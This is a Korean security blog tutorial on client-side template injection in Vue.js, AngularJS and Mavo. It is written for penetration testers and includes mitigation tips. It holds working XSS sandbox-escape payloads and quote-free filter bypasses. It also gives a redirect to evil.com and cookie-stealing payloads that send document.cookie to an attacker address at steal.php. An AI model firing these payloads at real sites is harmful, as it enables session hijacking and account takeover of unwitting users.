티스토리 뷰

CSTI 란?

Client Side Template Injection으로 클라이언트 측에서 사용되는 템플릿에 임의 구문을 주입한다는 의미를 가집니다. 브라우저 상에서 입력된 템플릿 표현식을 프론트 측에서 이해하고 원하는 결과를 보여준다는 것은 공격자 관점에서 템플릿 표현식 + 자바스크립트 구문 조합을 통해 XSS를 시도할 가치가 있는 취약점입니다.

 

일반적으로 XSS 취약점의 영향도와 유사하지만 온전히 자바스크립트 구문으로 실행시키느냐 템플릿 표현식에 담아서 실행하느냐의 차이가 존재합니다.

 

공격자는 샌드박스에서 허용되는 함수($eval 제공)와 객체(toString(), charAt(), trim(), prototype, and constructor)와 표현식 "{{}}" 또는 "[]"를 통해 샌드박스를 벗어나게 되어 스크립트가 실행되게 유도하게 됩니다.

  • constructor and prototype : 이 함수는 코드를 동적으로 생성하고 실행하는 데 사용
  • trim() : 문자열 좌/우에서 공백을 제거
  • charAt() : 문자열에서 지정된 위치에 존재하는 문자를 찾아서 반환
  • toString() : 숫자를 문자열로 변환

 

Surface Recon

표면 정찰하는 방법은 템플릿 표현식을 사용하는 SSTI(Sever side tempate injection) 취약점과 유사합니다. 이 둘의 차이점은 취약점 악용을 통해 이루어지는 효과가 다르다고 볼 수 있습니다. 서버 측 주입이면 원격코드를 실행시키는 것이 목적이 되겠지요.

 

대상 웹 사이트가 템플릿 엔진이 포함된 자바스크립트 프레임워크를 사용할 경우 HTML 태그에 표현식 구문을 사용할 수 있습니다. 서버가 HTTP 응답을 반환하기 전에 서버 측에서 해석되어 사용자들에게 보이게 됩니다. 템플릿 사용 유무를 간단히 테스트해보기 위해선 연산자를 사용하여 계산된 결과 값(81)이 화면에 나타나는지 체크하면 됩니다.

  • {{9*9}}
  • ${9*9}
  • ${{9*9}}
  • <%= 9*9 %>
  • #{9*9}
Input
# www.example.com/csti/?name={{9*9}}
Output
# Ctrl + F and Find 81

 

Vue.js Template

2014년 릴리즈를 시작으로 꾸준히 발전 중인 자바스크립트 프레임워크입니다. HTML 코드를 기반으로 템플릿을 만들어낼 수 있습니다. 입력된 표현식을 HTML 코드에 바인딩하기 위해 "{}" 이중 중괄호를 사용할 수 있는데, 보간법이라고 보시면 됩니다.

<div id="app">
    <h1>Hello ?name=${escapeHTML(name)}</h1>
  </div>
  ...
  <script>
      new Vue({
        el: '#app'
      });
  </script>

취약한 페이지 소스(vuejs 2.5.13)를 확인해 보겠습니다.

Vue 인스턴스는 new 키워드를 통해 위와 같이 생성할 수 있습니다. el 속성은 어떠한 id를 가진 html 태그에 포함시킬지 표기하는 것으로 인스턴스 내의 데이터를 html 코드에 바인딩하기 위해서 이중 중괄호 {{ }} 문법을 활용해야 됩니다.

 

#app이 사용되었으므로 사용자한테 보여주는 태그는 선언되어 있는 객체인 "<div id="app"></div>" 에 포함됩니다. 결과적으로 Vue 인스턴스 내부의 데이터가 바뀔 때마다 그에 맞는 화면을 사용자들에게 보이게 됩니다.

 

추가적으로 Vuejs 베이스의 Template Injection을 찾고자 할 경우 디렉티브 중 하나인 "v-html" 부분을 체크해보는 것도 좋습니다.

  • v-html : innerHTML 속성에 연결됨, 주입된 태그를 파싱 하여 화면에 보여주므로 XSS 발생 가능

* v-text: 주입된 HTML 태그를 인코딩 시켜 보여주므로 안전함

 

XSS를 유발하기위해 스크립트 구문을 삽입해보면 실행되지 않습니다. name 변수에 ${escapeHTML}의 영향으로 입력된 특수문자들이 이스케이프 처리되기 때문입니다.

 

템플릿 표현식을 사용할 수 있는 환경인지 파악하기 위해 {} 중괄호를 활용하여 간단한 연산 구문을 주입해본 결과 81이라는 결과 값이 나타난 것을 확인할 수 있습니다. 이를 통해 공격자는 템플릿 주입에 취약할 수 있다는 것을 알게 됩니다.

 

템플릿 문법을 활용해서 스크립트를 실행시키게 됩니다. 이때 사용된 함수는 constructor 즉 생성자 함수로 alert함수를 실행시킬 수 있도록 도와줍니다.

 

  <div v-pre>
    <h1>Hello ?name=${escapeHTML(name)}</h1>
  </div>

만약 위에서 발생된 Template Injection을 예방하기 위해서는 "v-pre" 디렉티브를 활용해서 주입된 보간법을 처리하지 못하고 그대로 출력하도록 할 수 있습니다.

 

# Vuejs v2 Template Payload
{{constructor.constructor('alert(1)')()}}

# Vuejs v3 Template Payload
{{_openBlock.constructor('alert(1)')()}}

# More Payload
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

 

Angular.js Template

구글이 2009년도에 발표한 자바스크립트 프레임워크입니다. AngularJS 표현식의 출력은 페이지에 직접 기록됩니다. 공격자가 표현식을 제어할 수 있는 환경인 경우 악의적인 JavaScript 코드를 템플릿 표현식과 조합하여 실행시킬 수 있습니다. 기본적으로 템플릿에 입력된 HTML 태그들에 대해 자동으로 이스케이프 처리를 하고 있는 만큼 의존하는 경우가 종종 존재하지만 이는 절대적으로 안전한 방법이 아닙니다.

 

AngularJS 1.6 하위 버전들의 표현식은 DOM 노출을 제한하고 분리되는 샌드박스 형식으로 구분되어 있었습니다. 여기서 공격자들은 스크립트를 유발하기 위해 내부 샌드박스를 벗어나게 끔 유도 후 XSS를 실행시킬 수 있습니다.

*AngularJS는 2021-12-31일 지원 종료

  • Sandbox 1.1.5 ~ 1.5.*
  • Remove Sandbox 1.6+

<html lang="en" ng-app>
  <head>
  <script src="style/angular.min.js"></script>
  </head>
  <body>
  <form role="search" action="" method="GET">
  <div class="input-group">
	<input type="text" class="form-control" name="search" placeholder="Search">
	...
	<?php
      if (isset($_GET['search']) && !empty($_GET['search'])) {
        $search = htmlspecialchars($_GET['search']);
        echo "<h3>" . $search . " Not found</h3>";
      }
    ?>

Angularjs 버전은 1.4.8로 HTML 페이지 소스에서 "ng-app" 함수가 포함돼 있음을 확인합니다. 이것은 해당 라인부터 Angularjs를 사용하겠다고 선언하는 것을 의미하기 때문에 입력된 표현식을 해석하고 사용자들에게 보이게 됩니다.

 

일반적으로 XSS 취약점을 발견하기 위해서 입력받는 매개변수에 ", ', <, > 등 을 삽입해서 value에서 벗어날 수 있는지 여부를 먼저 확인하지만 search 변수에 htmlspecialchars 가 적용되어 있어 특수문자를 문자 그대로 인식하고 있습니다.

 

표현식을 통해 인젝션이 가능한지 여부를 사전에 확인해야 됩니다.{{2*2}} 를 입력해보면 결과 "4"를 얻을 수 있습니다.

 

# Input
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(`AngularJS!!`)');}}

# More Payload
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md

AngularJS는 "프레임워크" 이기에 동일한 버전이더라도 각각의 입력 값을 처리하는 방법은 조금씩 다를 수 있습니다. 하지만 짜여진 코드의 문제로 인해 사용자가 입력한 표현식을 서버에서 동적으로 이해하고 실행하게 되는 환경일 경우 위와 같은 팝업창을 마주하게 됩니다.

 

No quote | double quote

# {{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}
# {{(toString()).constructor.prototype.charAt=(toString()).constructor.prototype.concat;$eval((toString()).constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))}}
# {{constructor.constructor(valueOf.name.constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41))()}}

어느 정도 사용자의 입력 값을 무조건 적으로 신뢰하지 않는 사이트의 경우 기본적으로 싱글 쿼터 또는 더블 쿼터를 사용하지 못하게끔 이스케이프 처리하게 됩니다. 그럴 때는 fromCharCode를 활용해서 주입이 가능합니다.

* String.formCharCode 는 Angular의 범위 내에서 액세스 할 수 있는 속성과 변수만 사용하도록 제한하기 때문에 작동하지 않음

 

Force Redirection

# {{'a'.constructor.prototype.charAt=[].join;$eval('x=location.replace("https://evil.com")');}}
# {{constructor.constructor('location.replace("https://evil.com")')()}}

취약점을 제보하거나 고객사에게 전달해줄 때는 단순히 팝업창을 띄워서 검증하는 것보다. 간단히 영향도를 확인시켜주는 것도 좋습니다. 악의적인 템플릿 표현식 구문이 포함된 URL을 클릭한 사용자는 공격자가 지정해둔 임의 주소로 리다이렉트를 발생시킬 수 있습니다.

 

Session Hijacking

# {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://172.20.10.2:8888/steal.php?test="+document.cookie//');}}
# {{constructor.constructor('new Image().src="http://172.20.10.2:8888/steal.php?test="+document.cookie;')()}}

CSTI 취약점을 활용한 Account takeover을 또는 Session hijacking을 하기 위해서는 해당 구문을 통해 탈취할 수 있습니다.

 

Mavo Template

Mavo는 사용자가 순수 HTML을 사용하여 대화형 웹 응용 프로그램을 만들 수 있도록 하여 웹 개발을 단순화하는 것을 목표로 하는 자바스크립트 프레임워크입니다.

 

기본적으로 Mavo에서는 HTML 문서의 대괄호 안에 MavoScript를 포함할 수 있습니다. 사용되는 표현식은 아래와 같습니다.

  • [9*9]
  • https://mavo.io/docs/mavoscript(Mavo 구문)

HTML 페이지 내부에 Mavo Template 사용을 확인 후 적절한 표현식을 삽입하여 템플릿 유무를 체크합니다.

 

[self.alert(`Mavo!!`)]
[''=''or self.alert(lol)]
[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
[self.alert(1)mod1]
[omglol mod 1 mod self.alert(1)andlol] => Mavo는 연산자 키워드 바로 뒤에 인용되지 않은 문자열을 허용

표현식을 통한 자바스크립트 구문을 실행시킬 수 있습니다. 이 밖에도 Mavo는 특유의 HTML 속성을 활용해서 XSS를 발생시킬 수 있습니다.

  • <a href=javascript[x.rel]1) id=x rel=:alert(>test</a> => Filter Bypass
  • <a href=[javascript&':alert(1)']>test</a>
  • <div mv-if=”false”>Hide me</div> => mv-value 및 mv-if 사용 시 "[]" 대괄호 없이 주입 가능
  • <a data-mv-if='1 or self.alert(1)'>test</a>
  • <div mv-expressions="{{ }}">{{top.alert(1)}}</div> => mv-expressions 사용 시
  • <div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>

Mavo 템플릿에 대한 취약점 개요는 아래의 링크를 통해 보다 많은 정보를 얻으실 수 있습니다.

https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

 

Abusing JavaScript frameworks to bypass XSS mitigations

At AppSec Europe Sebastian Lekies, Krzysztof Kotowicz and Eduardo Vela Nava showed how to use JavaScript frameworks to bypass XSS mitigations. In this post I’ll do a systematic analysis of how the bra

portswigger.net

 

Custom Payload

Bug bounty의 타임어택 또는 진단하고자 하는 대상의 수가 많을 경우 사용자의 입력 값 테스트를 하나씩 넣어서 확인하기에는 시간을 효율적으로 사용할 수 없는 문제가 발생합니다. 그럴 때는 문법 구문이 에러 나지 않는 선에서 적절히 코드를 섞어준 후 자동화해주시면 보다 빠르게 표면 정찰할 수 있게 됩니다.

 

선택한 자바스크립트 프레임워크를 가져와 사용자의 편의성만을 고려하다 보면 종종 이슈가 발생하곤 합니다. 이러한 문제들을 예방하기 위해서는 입력된 값이 템플릿에 동적으로 포함되지 않게 끔 필요한 영역에만 선언해서 사용해야 됩니다. 예를 들어 AngularJS는 HTML 내의 "ng-app" 지시문을 통해 범위를 제한할 수 있습니다.

 

그렇지 못한 환경일 경우 일반적인 XSS를 예방하는 것과 유사하게 표현식({중괄호}, [대괄호]) 과 악의적으로 사용 가능한 키워드들을 적절히 필터링 해주고 새로운 Release 버전에 대해 긍정적으로 수용하는 자세를 가지는 것이 좋습니다.

 

#References
https://techblog.securesky-tech.com/entry/2018/08/01/110000
https://github.com/azu/vue-client-side-template-injection-example
https://www.hahwul.com/cullinan/csti/
https://book.hacktricks.xyz/pentesting-web/client-side-template-injection-csti
https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

'WEB' 카테고리의 다른 글

OAuth 및 OpenID의 잘못된 보안 구성  (0) 2022.04.07
CSTI(Client Side Template Injection) 취약점  (0) 2022.03.08
기업 도메인의 DMARC 레코드 분석  (0) 2022.02.18
Log4j 취약점(CVE-2021-44228)  (0) 2021.12.23
Atlassian RCE 취약점  (0) 2021.09.12
Atlassian REST API 취약점  (0) 2021.09.11
Comment
댓글쓰기 폼